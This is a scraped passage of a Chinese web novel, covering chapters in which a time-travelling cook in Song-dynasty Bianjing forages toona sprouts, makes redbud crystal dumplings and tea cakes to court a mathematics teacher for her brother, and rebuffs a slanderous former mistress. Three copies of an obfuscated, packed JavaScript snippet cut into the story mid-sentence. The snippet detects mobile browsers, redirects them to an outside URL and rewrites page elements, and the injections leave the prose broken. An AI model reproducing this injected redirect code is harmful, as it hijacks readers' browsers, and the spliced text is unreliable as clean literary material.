潘琅寰红着耳尖点头,别别扭扭夸奖道:“你……懂的还挺多的嘛。” 此时,柳金枝眼角余光瞥见一处绿树丛中,一根锈红的细长植物直立着,植物头上冒着一颗碧绿的菜头。 她赶忙过去将这碧绿菜头摘下来,回眸摆给潘琅寰看,笑道:“我们运气不错,喏,这是香椿。” 香椿,是春日草木之芽。 颜色碧绿,香味浓郁,鲜嫩清脆,很受大宋百姓和文人的欢迎。 宋代梅尧臣的《答建州沉屯田寄新茶》一诗中,就写到:“春芽研白膏,夜火焙紫饼。” 里面的春芽就是香椿。 而作为最受欢迎的野菜之一,香椿的做法自然也是多种多样。 可以在焯水之后用香油伴着吃,也可以和着猪肉一块儿炒着吃。 味道鲜嫩,又富有营养,是很不错的野味。 就是现代也有很多人买来吃,价格还贵,能卖到五十块一斤。 但现在在野外,雨后香椿长势极茂,任他们采摘,倒是不用钱的美食。 柳金枝哼哧哼哧地摘了一手的香椿,放进潘琅寰拿着的竹编篮子中,又仔细教潘琅寰辨认。 潘琅寰左左右右看了几眼,似是已经记住了,便很是豪气地将柳金枝一拉,挑眉道:“欸,这种小事不必劳烦你,你坐着休息,我去摘。” 柳金枝一愣,刚想说此处山路泥泞,怕是不好走,潘琅寰已经利落地将衣摆踢起来掖在腰间,大步迈进了草丛。 而且看起来颇为急切,好似挺想在柳金枝面前表现表现。 柳金枝担心潘琅寰出事,跟了几步,耳边忽听得一声—— “啊!” 柳金枝赶忙拨开草丛,却见春雨含潮,泥稀地陷,面前好大一片泥潭。 而潘琅寰就半只腿陷入泥里,衣裳、袍子、发冠全都脏了,白玉似的脸也沾了泥,狼狈地揪住岸边植物才没完全陷落进去。两只手上戴着的各色宝石戒指也都沾了泥,脏兮兮的。 柳金枝赶紧要去拉他,却被他憋着气阻止。 “等下!我不要你拉。” 潘琅寰似是觉得丢了大脸,硬是自己挣了挣,却没挣出来,反而陷的更深了,顿时窘迫不已。 柳金枝憋笑,哄他道:“潘大官人,这泥潭越挣扎陷得越深,若是泥潭过了腰,可就很难救出来了,快些把手给我。” 潘琅寰不由觉得自己在柳金枝面前丢了大脸,但在僵持片刻后,他还是无法挣脱,性命之忧的威胁下,终是低下头,任由柳金拉住了他的手。 只是拉上来的时间还是晚了点,他陷的太深,腰腿全都灌满了泥浆,浑身珠光宝气的冷峻富贵少爷,如今倒没一处是干净的。 “哈哈哈!” 柳金枝再憋不住,笑出了声来。 潘琅寰羞恼不已,气道:“这事儿不许告诉外边那群人!” 这位可是自己的财主呢。 柳金枝弯着一双笑眼,道:“嗯嗯,我一定守口如瓶。” 潘琅寰明明还想说什么,可见柳金枝笑的那么开心,眼睛又明又亮,又说不出什么了。 只哼哼唧唧了两声,偏开头,抓起竹篮往前走。 看他大步流星,柳金枝朗声问:“潘相公,你是要回去换身衣裳吗?” 却不想潘琅寰头也没回地说:“换什么衣裳,香椿还没摘呢。为了你这顿饭,我摔进泥潭里,丢了这么大的人,所以我一定要吃上!” 柳金枝又笑出了泪花。 * 春雨过后的香椿长得最好,一茬冒一茬,独立在湿润雨气浓烈的山野白雾之中,就像隐世而居的桃花源人士。 这回潘琅寰小心了许多,他身手本就利落,生长的再偏僻的香椿都能被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545010|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他伸手勾过来,所以没一会儿功夫就采到了一大篮。 柳金枝笑眯眯地夸他:“潘相公真是好身手。” “那是自然,我曾随八十万禁军教头学过一阵棍棒,也跟着几位将军练过骑射。若在校场上比划,不是我说大话,倒是难有敌手。” 潘琅寰得意地昂起头。 这么一提,柳金枝就意识到其实潘琅寰的家世也不低。 寻常商家可没本事跟着八十万禁军教头学本领。 不过人在汴京城住嘛,柳金枝也习惯了身边时不时就有一两个达官贵人冒头。 毕竟以汴京的繁华程度,一板砖下去砸到十个人,其中五个平民,还有两个大官,两个文豪,一个隐世高人。 大隐隐于市的那种。 柳金枝的夸奖显然让潘琅寰兴致更高,他掂了掂手里的香椿,不满道:“你瞧这山里这么多香椿,咱们就采了这么点,我再去采采!” 他还没热身呢! “潘相公,不用啦。”柳金枝将人拦下来,“香椿不用太多,若是一时吃得太多了,反而会叫人上吐下泻,严重的还会丧命,这些就够了。” 潘琅寰犹豫两下,还是止住兴奋势头,道:“也行吧,不采了。” 可他又觉得不采香椿了,他没什么地方表现。 苦思冥想半晌,他忽然就嚯一下把篮子扛起来,大手一挥,道:“那我给你扛回去,我扛得可快了,你瞧着啊。” 然后大步流星往山下跑,一会儿就成了一道残影。 柳金枝:…… * 山下几人已经开火了。 应天爵做了道春笋炒肉,潘安玉做了道野山蕈汤。 看见潘琅寰回来,潘安玉本来想给哥哥炫耀一番,又想到哥哥不喜欢他做菜,又讪讪地把目光收了回来,躲在了项志轩后头。 潘琅寰扯下衣摆稍微遮掩泥腿裤,转头看见潘安玉一副窝窝囊囊的样子,又是一阵气不打一处来。 憋得他转过头,眼不见心不烦,专心专意给柳金枝打下手去了。 春日溪水潺潺,清澈见底。他陪着柳金枝一块儿蹲在岸边,一面在竹篮里头撒上食盐,一面将竹篮浸入冰凉的溪水里清洗香椿。 柳金枝就着食盐搓洗香椿根部,潘琅寰就在一旁帮她浇水。 潘安玉小心翼翼凑在一边看,柳金枝抬头看了他一眼,笑着解释道: “香椿长在山野之间,叶与叶之间夹杂着很多尘土,用盐搓洗能洗的更干净些。” 而且这溪水是从山顶流下,清澈见底,源头活水当中,又不存在什么细菌。 洗的就更干净了。 尔后,柳金枝将洗净的香椿放入一个干净的大盆内控干水分,另外抽手取来一壶溪水,将之倒入铁锅之中,放入一勺食盐,一勺花椒油,叫潘琅寰帮忙添柴烧火。 这锅是现架起来的,有些简陋。 潘琅寰几次没生起火来,反倒把脸上弄得黑一道,白一道的。 搞得杜卫、月牙、应天爵和项志轩几个都来七嘴八舌的指点、帮忙。 虽然有越帮越忙的嫌疑,但最后这火还是生了起来。 潘琅寰松了口气,看向众人抱拳拱手:“今天我倒是学到了很多东西,多谢你们了。” 几人都是一笑,赶紧摆手谦虚。 先前因为潘琅寰不请自来的尴尬氛围,无形中消散了许多。 等水滚了,柳金枝就将香椿放下去焯水。 “香椿虽然是菜,里头却有很多的亚硝酸盐,如果不焯水就吃,很容易拉肚子。”柳金枝对潘安玉解释。 潘安玉欲言又止,很想问问亚硝酸盐是什么? 但看柳金枝做的认真,又不好意思打扰,就默默记下来。 香椿在开水里随着水波上下起伏,不到半刻钟的时候,就从青翠碧绿变成了翡翠一般的深沉颜色。 柳金枝用铁笊篱把香椿捞出,放在尚带春寒的溪水中浸凉,尔后又捞出,右手抓起一团香椿,放在手里挤压出多余的水分,继而切成小段,放在碗中备用。 她打算做香椿炒鸡蛋,最好加点小葱增香。 若是在汴京城里,她就随手在调料碗里抓了,但是现在在野外,这地地道道的香椿野菜,就得配上地地道道的小野葱,这样才叫相得益彰! 这事儿潘安玉熟啊。 赶紧自告奋勇:“柳姐姐,我去给你寻摸!” 说完就乐颠颠地跑开了。 柳金枝也没打击孩子的积极性,任由他去,自己又到驴车上摸了三四个鸡蛋出来,单手开壳,打进一个碗里,再加食盐和米醋调味去腥,最后用竹箸将鸡蛋打算,倒入已经切碎的香椿之中。 后头杜卫跟着月牙帮柳金枝架锅烧火。 没一会儿,锅热了。 柳金枝赶忙甩干净手上溪水,起身到锅前,接过杜卫手里的一壶热油,淋进锅内。 热锅遇冷油,发出渍一声响,顿时往外扑哧扑哧冒起白烟来。 热乎乎,火辣辣的锅底用来煎蛋是最好的。 于是柳金枝将香椿鸡蛋液倒入锅中,但一时间不去动它,只等热油将香椿鸡蛋液的底部煎到定型,才用扁头锅铲去翻面。 煎炒的过程中,春风习习,温热的鸡蛋香味与野菜清香顿时扑鼻而来。 叫在场众人都忍不住深深吸了一口气。 正好此时潘安玉也将小野葱寻来了,赶忙洗净切碎,一齐撒入锅中。 小野葱比起家中的野葱,味道更加辛香浓郁,更别提是扔进热锅之中大火翻炒,更是将这股香味放大了。 与此同时,不远处的一座山亭之中。 杏安抽了抽鼻子,口中发馋道:“二郎,你闻见什么味儿没有?好香啊!” 32. 用美食贿赂名师 香椿炒鸡蛋起锅,刚摆到石桌上,这几个人就跟馋猫儿似的,一刻也等不及,手上竹箸仿佛蛟龙入海,你争我抢。 满满一盘的香椿鸡蛋,没一会儿就光盘了。 月牙想是也别喜欢这盘香椿鸡蛋,埋头吃得不亦乐乎。 杜卫见状,就将自己好不容易抢到的都夹给了月牙。 “月牙,多吃一点,杜哥哥的也给你吃。” 柳金枝摇摇头,道:“杜卫,你也吃啊,不要太惯着月牙,这些吃的咱们回家还能做。” 杜卫张了张嘴,还没来得及开口。 月牙倒是忙中抽空,从碗中抬起头来,含糊不清地说:“阿姐,我是杜哥哥的妹妹啊,哥哥宠妹妹是应当的。” 说完,月牙勉力直起身子,夹了一块香樟炒鸡蛋,放入了杜卫的碗里 “当然啦,妹妹照顾哥哥也是应当的。杜哥哥,快吃,阿姐炒的这个菜可香了!” 杜卫心中一软,摸摸月牙的小脑袋。 潘琅寰想了想,就将自己碗里的香椿一分为二,一份给了月牙,另一份给了杜卫。 “月牙小妹,杜卫小兄弟,若是不够吃,便拿我这份儿吧。” 三人皆是一怔。 潘琅寰理所当然道:“论起来,我比你们都年长,多照顾些也是应当的。” 这菜都进碗里了,总不好再三推让,不然显得小家子气。 柳金枝就接受了,笑眯眯地道谢:“潘相公当真大方,我代这两个小的谢过你了。” 潘琅寰摆摆手:“不必谢。” 毕竟他可是有自己的打算的。 就故作遗憾地说:“只是娘子这手艺当真妙极,现下吃不到颇为可惜,不如……” 他正图穷匕见,要说“不如下次去柳家叨扰,再讨一盘香椿炒鸡蛋吃”,身边却不知何时蹭过来一个毛茸茸的脑袋。 原来因见柳金枝一家其乐融融,潘安玉十分为羡慕,他看着自己碗里头抢到的一大块香椿炒鸡蛋,又看看碗里干干净净,可又表露出自己十分想吃的潘琅寰。 “咳咳……哥……” 潘安玉高高兴兴凑过去,献宝似地把碗端起来。 “你要吃我的香椿吗?我有多的呀,就不用麻烦柳姐姐了。” 潘琅寰:…… 桌面上项志轩和应天爵两相对视,不由憋笑,连忙往碗里多夹了点菜,埋头苦吃当自己不存在。 潘安玉还想着把菜献给潘琅寰之后能有一场兄友弟恭呢,却没想到脖子后面一寒,抬头就看见自家哥哥的眼神凶的好像要吃人。 不、不是。 潘安玉欲哭无泪。 这个发展怎么和柳姐姐一家不一样啊?! “柳娘子!真的是你们啊?” 这时,耳边忽然传来一道兴奋的高喊。 一行人扭头看过去。 只见一个小童站在溪水边对着柳金枝高兴招手,小童身后站着一名眉眼温柔俊逸的年轻郎君,一身清贵儒雅,似是出身名门大户。 除却柳金枝和应天爵,月牙、杜卫还有潘琅寰几个都没有见过傅霁景。 因此他们反应慢了一拍,还在疑惑当中时,应天爵已经两三步跑上去,十分殷勤地插手一拜:“哎呀,原来是傅二郎君!真是巧啊,在此处遇见你。” 傅霁景对应天爵点点头,微微一笑,随后就顺着横亘在溪流上的风雨桥走过来,目光扫过在场众人,礼貌又客气地打了招呼,最后落在了柳金枝的身上。 “柳娘子。”傅霁景唇边弧度加深,眉眼带笑,“好巧啊,你也来踏青。” 潘琅寰蹙起眉头,抬起眼眸上下打量傅霁景,似是在脑子回忆傅霁景的身份。 “是呀,难得有些闲暇。” 柳金枝惦记着为柳霄请名师的事情,不由得走近傅霁景几步。 “我已看了日子,明日是黄道吉日,宜求师问道,我打算明日领着阿弟先去黄师道老师家中拜访。” “哦?怎么选了黄老师?” 傅霁景眉心微微一蹙。 “怎么了?可是有哪里不妥?”柳金枝问道。 “这位黄老师学问、人品都都全无挑剔,有时他的奇思妙想连我父亲都钦佩不已。只是……” 傅霁景犹豫片刻,居然说了句:“只是其性格颇为怪诞,常叫人捉摸不透。” 柳金枝知道傅霁景是君子道,轻易不在人背后议论长短。 现下说起这位黄师道老师,居然能用“性格怪诞”来评价,可见这位老师的性格不是一般人受得住的。 但柳金枝这些,人选是柳霄在思考过后定下的。 那夜柳霄道:“这位黄师道老师在算经一科极为出名,几乎天下所有学习算经科的学子都想要拜他为师。” “论记性,我比不上月牙。论苦读,我又差了同辈许多。我只在算经一科还算有些天赋,若专心考算经科,说不定还有些胜算。” 柳霄既然这样说,柳金枝也就支持。 如今虽然傅霁景说黄师道性格怪诞,柳金枝思虑再三,郑重道:“多谢恩人提醒,我今晚回去与阿弟再商量商量。” 傅霁景点点头,想了想,又温和道:“听说黄老师爱吃天仙楼的糕点,不如投其所好试试看。” 天仙楼的糕点又贵又难抢。 往日里若要买到一份,都得晡食之前就起来排队,午时左右就卖得差不多了。 柳金枝抬头一看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568983|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时辰,发现已经快近午时了,当下也顾不得了,连忙向应天爵、项志轩和潘家兄弟道别,就带着月牙和杜卫急匆匆地赶回了汴京城。 只是这一次踏青,本就是应天爵为柳金枝攒的局。 中心人都走了,剩下的人自然也没什么好待的。 应天爵倒是不急着走,他还想和傅霁景多套套近乎呢。 也就凑上前,笑道:“二郎,这大好春光如果不好好游玩一番岂不浪费?不如我到西州瓦子里置办一桌酒席,再请几位文人墨客作陪,大家说说笑笑耍一回,多自在?” 傅霁景温和拒绝:“多谢你的好意,但我还有一些事情没处理,就不多陪了。” 应天爵一愣,还想问是什么事儿呢,却见傅霁景带着杏安追着柳金枝的驴车走了。 应天爵嘶了一声,恍然大悟道:“我当是怎么回事儿呢,原来全是为了男婚女嫁。” 傅府与潘家。 这两个都是高门大户,应天爵也知晓潘家没有表面上那么简单。 那这两个人最后谁能抱得美人归,可真说不准。 应天爵啧啧地摇头笑,自言自语道:“早知道这样,我费这功夫讨好他俩干嘛呀,我不如和我妹子处关系去。” 嘿,真聪明! * 柳金枝带着杜卫、月牙紧赶慢赶,但到天仙楼时还是慢了一步,糕点已经全部售罄了。 柳金枝遗憾扼腕。 月牙被杜卫抱着,盯着天仙楼门口挂着的“售罄”牌子看了一会儿,道: “阿姐,咱们买不到天仙楼的糕点,你可以自己做吗?我觉得阿姐的手艺不比天仙楼的差。” 柳金枝想了一会儿,道:“还是慎重点好,杜卫,你帮我去打听打听,看谁家有买了多了糕点的,愿意把糕点转卖给我,我愿意出高价。” 杜卫点点头,放下月牙走了。 柳金枝对月牙道:“走吧,咱们先回家等候消息。” 然而最后杜卫带回来的消息还是叫柳金枝失望,天仙楼的糕点供不应求,但凡是买了糕点的,都不愿意让出来,看来最后还得是柳金枝自己来做才行。 但因为怕做出来的糕点不合黄师道的口味。 柳金枝想了许久,才道:“杜卫,我想再劳烦你去一趟我们方才踏青的地方,替我采摘一些香椿回来。” “啊?东家还想做香椿炒鸡蛋吗?”杜卫问。 柳金枝摇摇头,道:“你采来就好了。” 杜卫就不再多问,赶忙去了。 柳金枝与月牙则默契地没有去打扰柳霄温习,而是一齐走到膳房,月牙帮柳金枝生火,柳金枝穿上攀膊,姐妹二人一块儿为给柳霄博一个好印象而努力。 33. 紫荆花水晶饺 杜卫将香椿采摘回来之后,柳金枝按照之前的做法,但只拿出一半放在盐水中进行搓洗,捞干后放在一边备用。 又叫月牙从橱柜里抱出一袋颇为精细的面粉,量出几勺倒入盆里。 “阿姐,你要揉面吗?我替你加水。”月牙道。 “暂且不用。”柳金枝制止了月牙,指指隔壁钱婶子院子里一株盛大的紫荆花树,“月牙,去帮我找隔壁钱婶子要些紫荆花来吧。” “阿姐要做什么?” “给面染色。” 柳金枝要做两道糕点,第一道就是紫荆花水晶饺。 这道点心如其名,外形、颜色都酷似一株盛放的紫荆花。 但是面粉一般都是白色,如果要做到这种效果,就只能利用其他植物的颜色对面团进行染色。 如果是在现代,柳金枝大可以用紫甘蓝来染,颜色会更漂亮。 但是在宋朝的时间线里,紫甘蓝、胡萝卜等等都还没有出现,没办法,柳金枝只好将目光放在了三四月份就会盛开的紫荆花树上。 好在紫荆花除却种子有微量毒素以外,其余的部位都能吃,不用担心食用问题。 不然送了糕点去拜师,反倒把老师毒翻了,这反倒是结仇。 隔壁钱婶子很大方,给月牙摘了一大篮子的紫荆花。 柳金枝还是留下一半,然后将紫荆花洗干净,用刀切成块,和清水一起加入锅中,小火煮出紫色。 但如果要让这种颜色在面团里上色更均匀、好看,就得有酸来配合。 食品中的酸,最常见的自然是柠檬。 是的,宋朝有柠檬。 甚至再将时间线拉得久远一些,在东汉时期就出现了柠檬。 当时东汉时期有个文人叫杨孚,他写了一本《南裔异物志》,书中称柠檬为“枸橼”,也不知道时不时这个名字太难听,无法体现出柠檬香酸甜涩的味道,所以在唐宋以后,柠檬又被换了名字,叫作“香橼”。 如今宋朝的集市上随处可见。 上回柳金枝去采购的时候,把能用上的都买了一遍,香橼就在其中。 于是她打开橱窗,从中摸出来两颗香橼,利落地削去橙黄坚硬的外皮,把果肉扔进石臼里,再用石杵用力地去捣它,将香橼的果肉全部捣烂,一时间酸甜味道的汁水四溅,闻得月牙都忍不住舔了舔嘴唇。 最后她把捣烂的果肉拿出来扔掉,石臼里留下的全是橙黄的汁水。 这时,正好煮紫荆花的锅已经沸腾起来,柳金枝用圆头铁勺舀出来紫色汁水,将之盛放在一只白瓷碗里,随后倒入适量的香橼汁,搅拌均匀。 在酸碱作用下,紫荆花的紫色很快变成了玫红色。 柳金枝继续把这玫红色的汁水回锅继续煮沸。 月牙在一边看着这变化,惊讶的嘴巴都张开了,好半晌才说:“阿姐你真厉害,你怎么知道这两样东西加在一起能变色啊?” 柳金枝总不好说自己是穿越人士,就笑着借用每一位穿越大佬都会用的敷衍理由—— “阿姐是在一本古籍上看见的。” 月牙深信不疑,满眼崇拜:“天呐,阿姐好厉害,我长大以后也要像阿姐一样厉害。” 柳金枝笑了一下,让月牙往面粉盆里加入清水。 现在就可以揉面团了。 清水进入面粉盆,很快就将干燥的粉变成糊糊状,柳金枝再往里面加入淀粉,搅拌均匀,最后将煮沸的玫红色汁水倒入面粉糊糊当中,用筷子搅拌成絮状。 因为是滚水浇入面粉当中,导致面粉过于烫手,要一直晾到温凉的时候,才能上手把面盆里的面粉揉成光滑面团。 而揉出来的面团已经变了颜色,不再是白色,而是一种介于玫红与紫甘蓝色之间的淡紫色,看起来与紫荆花的颜色极为相似。 柳金枝小心将揉好的面团放入盆中,盖上湿布等面性发好,自己则是着手去准备馅料。 还是在锅中烧水,水沸腾时加入新鲜香椿,等香椿由红变绿时起锅过凉水,控干水分,切碎备用。 再摸出来几颗鸡蛋,炒锅热油,单手将鸡蛋打进热锅内,快速炒成蛋碎。 将香椿碎与蛋碎混合,加入芝麻油、盐等调味料搅拌均匀,馅料就大功告成了。 忙活完这一场,其实也不过两刻钟的时间,而面已经发好了。 毕竟现在已经开春,不是冬日时分了,发面要比以前快很多。 于是柳金枝将面团揪拽下成十二等份,用擀面杖将这些面团擀成轻薄小巧的外皮,包入适量的馅料,捏成五角形。 再用拇指和食指在每个瓣上推出褶皱,两瓣相连捏成花型,用切碎的红色菠菜根装点花心,将之放置在浸入冷水的蒸锅之中蒸上一刻钟的时间。 最后揭盖出炉,热气氤氲之下,远远看去,花瓣状的晶莹饺子外皮,在蒸制后呈现晶莹的淡紫色。 面皮经手工捏制成五瓣,边缘褶皱如丝绸般柔滑的波浪,蒸熟后薄如蝉翼,透光可见内里饱满的蛋块,和细碎香椿。 中心的红色菜心点缀的恰到好处,整体看起来当真如同晨曦中初绽的紫荆花瓣,漂亮又夺目。 杜卫和月牙都讶异不已。 柳金枝把紫荆花水晶饺朝他们推了推,道:“你们试试,如果觉得好吃的话,明日我再照旧做一份新鲜的送到黄老师家去。” 月牙与杜卫闻言连忙下筷。 他们怎么会不相信柳金枝的手艺? 这一口饺子下去,真是险些将舌头都吞掉了。 这饺子的馅料既有香椿的清香脆爽,又有鸡蛋的醇厚回味,咬破饺皮时,饺子里的汁水泄露出来,爽口不已。 柳金枝见他们吃的高兴,就找出来一碟酱推过去。 “来,蘸着酱试试。” 这蘸料是蒜蓉酱油,颇为辛辣,与紫荆花水晶饺一起吃,更显得水晶饺柔韧弹牙,叫人越嚼越上瘾。 杜卫还尚存理智,知道柳金枝做的不多,只有十二只,自己吃了四只之后,就将剩下的都让给了月牙。 “太好吃了阿姐。”月牙吃的两腮鼓鼓的,像一只拼命塞食物的小仓鼠,“别说是老师会喜欢,阿姐你要是能把这糕点拿去食摊卖,一定不比天仙楼的糕点差!” 月牙的这话也提醒了一下柳金枝。 柳金枝摸着下巴道:“你说的有道理,我也在想做夜市只卖面食和卤肉会不会太单调,如果食客们吃腻了,也可以来些点心开开胃。” 杜卫也鼓励柳金枝:“要不今天就做一些吧,晚上咱们拿去卖。如果卖的好,之后再做做一点。” “好。”柳金枝点头。 杜卫自告奋勇地说:“那我再去摘些香椿。” 月牙连忙把嘴里的水晶饺吞下去,也急急地往外跑:“我再去摘些紫荆花。” 看着两个人都积极到不行的样子,柳金枝心里也多了一点信心。 希望这个点心黄老师也会喜欢吧。 依样画葫芦做了三四十个水晶饺后,天色也不早了,一家人包括柳霄全都出摊去了夜市。 柳金枝做的卤味是卖的最火爆的,才把摊子支起来,就有吃惯了她家卤味的食客来排队了。 杜卫一面利落切好卤味打包递过去,一面推荐柳金枝新做的紫荆花水晶饺。 “这是我们家最新做的点心,您可以买两个回家尝尝,保管好吃!” “这个颜色是我们东家新想出来的,我们都尝过,绝对没问题。” “是啊,限量,咱们第一次卖,所以做的不多。” “您要来一份?好嘞,给您装好,收您二十文,您走好!” 尔后一些食客也在杜卫的极力推荐下买了不少水晶饺走了,三四十个水晶饺瞬间见底,只剩下最后一份儿。 柳金枝在一边煮蝌蚪粉,听见杜卫嘴皮子这么利落,心里也很欣慰。 柳霄把客人们吃过的盘子收起来,走到柳金枝身边问:“阿姐,那是你新做的点心?看样子卖的很好。” “是啊,想着明天送你未来老师一份儿,看能不能让人家心软一些,收了你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568984|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >柳金枝笑道。 柳霄不想柳金枝有这么大的压力,就笑道:“不收也没事儿,我最近温习的时候觉得自己还行。” “你呀,又哄阿姐高兴。” 柳金枝捏了捏柳霄的脸。 姐弟二人正笑着,却有一道似是厌恶又似是嫉妒的刺耳声音响了起来。 “柳金枝,原来是你在这儿摆食摊。” 柳金枝抬头看过去,一张熟悉的脸跃入眼帘。 正是柳金枝在秦淮时伺候的那位三娘子—— 孙玉香。 “阿姐?” 柳霄眼神瞬间警惕起来,要挡在柳金枝面前,却被柳金枝一拉。 “孙娘子,我还以为您会一直待在秦淮呢,没想到回了汴京。”柳金枝皮笑肉不笑。 对于这个三娘子,她真的没多的话说,看见都嫌烦。 孙玉香冷笑道:“柳金枝,你不守妇道,勾引主家,自愿当婊//子,如今见了我,更是毫无改过之意,真是天生的小娼//妇。” 柳金枝的摊子本就是生意火爆,周边挤了很多人。 有的是喜欢柳金枝的手艺,有的则是奔着柳金枝这张清丽的脸来的。 而孙玉香的话一出,众皆哗然。 什么? 柳金枝居然勾引主家? 相柳金枝柳金枝人品的自然知道她不会做这种事,但嫉妒柳金枝赚银子的却冷笑道: “我说呢,她一个未出阁的娘子,怎得就抛头露面在外头卖小食,原来干得就是这个营生。” “当真是不要脸。” “也不知道她借着卖小食的名义,勾搭了多少男人去。” …… 难听的话一句接着一句钻入耳朵里。 气得杜卫冲出摊位,指着孙玉香破口大骂。 “哪儿来的贼歪刺骨口舌这般不干净?敢说我东家勾引主家,证据呢?” 孙玉香气得面色扭曲,恨恨道:“阖府上下都知道,还谈什么证据?” “哦,也就是说你这是没有证据了?像你这般悍妒妇人,怕不是只要丈夫多瞧别人一眼,就是别人蓄意勾引。现在你站在我的面前,我看了你这样久,是不是你也是要蓄意勾引我啊?!” “放肆!”孙玉香身边的丫头直接上前打了杜卫一巴掌,怒道:“你可知我家娘子是何等身份?” 杜卫挨了一巴掌,可算把柳家所有人都惹生气了。 月牙猛地上前推了一把丫头,大叫道:“我管你是什么身份?你打人就是不对!” 丫头面露轻蔑不屑:“我家娘子乃是御史中丞孙家的女儿,姑爷乃是工部侍郎的三郎君。你敢大放厥词,便是不敬,我家娘子能把你们全家治入狱中,打上十大板!” 柳霄脸色阴沉,却无可反驳。 他尚未取得功名,还是白身,根本没办法对抗。 柳金枝却不知想到了什么,站出两步道:“孙娘子从秦淮搬到汴京,想必是为了三郎君应试的事情吧?我虽对科举并不了解,但也清楚官家选拔人才,并非看重才华,品德亦在考察之中。” “孙娘子若要与我争吵不已,我是清者自清,不介意让整个汴京城的人都知道三郎君急功、好色、惧内,整日在后宅和孙娘子为了能否纳一房小妾之事争吵不休。” 原主在孙玉香身边干了这么久,对孙玉香和候三郎的起居日常自然十分清楚。 想要什么猛料都能爆出来。 其中还不乏孙玉香欲求不满,在外面求仙问道,整了一堆虎狼之药回来给候三郎吃,结果把人吃得拉肚子,一天到晚跑了五趟茅房,险些拉虚脱的腌臜事。 只要孙玉香这种高门大户不怕丢脸,她这般市井小民自然也不会强撑着面子。 果然,孙玉香脸色一变。 都怪她一见着柳金枝还在这里完好无损地卖小食,就气得失去了理智。 恶狠狠道:“柳金枝,你不要以为事情就这么过去了,咱们走着瞧!你在这汴京城好过不了!” 继而甩袖离去。 34. 龙井茶糕 孙玉香这样闹了一通,食客们都没有什么心情吃东西了,都在窃窃私语讨论八卦。 毕竟从古至今,热爱八卦是人类的天性。 柳霄不愿意柳金枝在这里被人议论,提出收摊,几人第一次提早回了家。 “来,杜卫,拿个鸡蛋揉揉脸。”柳金枝烫了个鸡蛋抱进纱布里,递给杜卫滚脸,“这回是我连累你了。” “东家,别说这种话,你把我当弟弟,我自然也将你当作阿姐一样尊敬。”杜卫皱着眉,“你是什么样的人我们还不清楚吗?那个婆娘就是在泼你脏水,我们谁都忍不了。” 柳霄沉默了许久,眼神充满自责。 “归根结底还是我太没用,要是我有半点功名在身,就不怕她的威胁了。” “霄哥儿,你不要把一切不好都往自己身上揽,非要议论的话,也是我的错,我也没想到孙玉香会回汴京。” 柳金枝道。 “阿姐,那个人和你到底有什么过节啊?” 月牙问。 柳金枝也就将自己在秦淮候府的时候发生的事情说了一遍,听得在场几个人都气得脸发黑。 “好了,你们也别为孙玉香生气,不值得,当下重要的是别影响霄哥儿拜师。”柳金枝把柳霄拉过来,“今天好不容易早收摊一次,你就别在这儿待着了,回房温书吧。” 柳霄咬着牙,眼眸沉沉道:“我定不负阿姐期望。” 柳金枝又安慰了杜卫和月牙,让他们也去休息。 虽然柳家宅院勉强安静下来,但所有人心里都压了一块石头,当晚没人能够安眠。 第二天一早,柳金枝就醒了。 她难得坐在床上发了一会儿呆,才小心翼翼地下床,走到了膳房。 虽然她嘴上说让柳霄尽全力就好,结果不重要,但其实她也明白,在这个古代背景,能有一个功名傍身是最好的。 孙玉香陡然出现更是让她意识到这点的重要性。 而她所要做的,就是尽量去帮助柳霄。 吐出一口气,柳金枝将昨天收好的香椿和紫荆花拿出来,照旧做了十二只紫荆花水晶饺。 此处便不再赘述。 该详说的,应是第二道糕点—— 龙井茶糕。 都说一杯清茗致春意。 文人爱茶,宋朝文人更甚,所以这款糕点就与龙井茶有关。 但新鲜的“雨前龙井”过于昂贵,柳金枝自然是买不起,她顶多能买几两旧茶。 好在旧茶也有旧茶的好处,茶性温和、刺激性弱、口感更醇厚、茶香味儿也更浓,揉进糕点里不仅会让糕点变得更香,还能帮忙解腻。 柳金枝将旧龙井茶从茶瓮里取出来,平铺在一只小筛子上,抖一抖,筛一筛,用木夹子尽数铺开,放在窗边有第一缕清晨阳光的地方晒一晒。 这种做法是为了散一散茶叶在麻袋里积攒的霉气。 毕竟以古代的储存技术,就算存放的再好,茶叶也会有股子霉味儿。 随后,柳金枝取来粘米粉和糯米粉,将两者以三比一的比例倒入盆中,来回抖动,使二者混合均匀,再倒入蒸笼,先上大火蒸三十分钟。 看着灶眼的火光烧得热烈,还得有一会儿才蒸好粉,她就抽出手来,将制作糕点所需要的乳酪、砂糖和油都摆在台面上,又取出一只干净的碗碟,将这三者都混在一起。 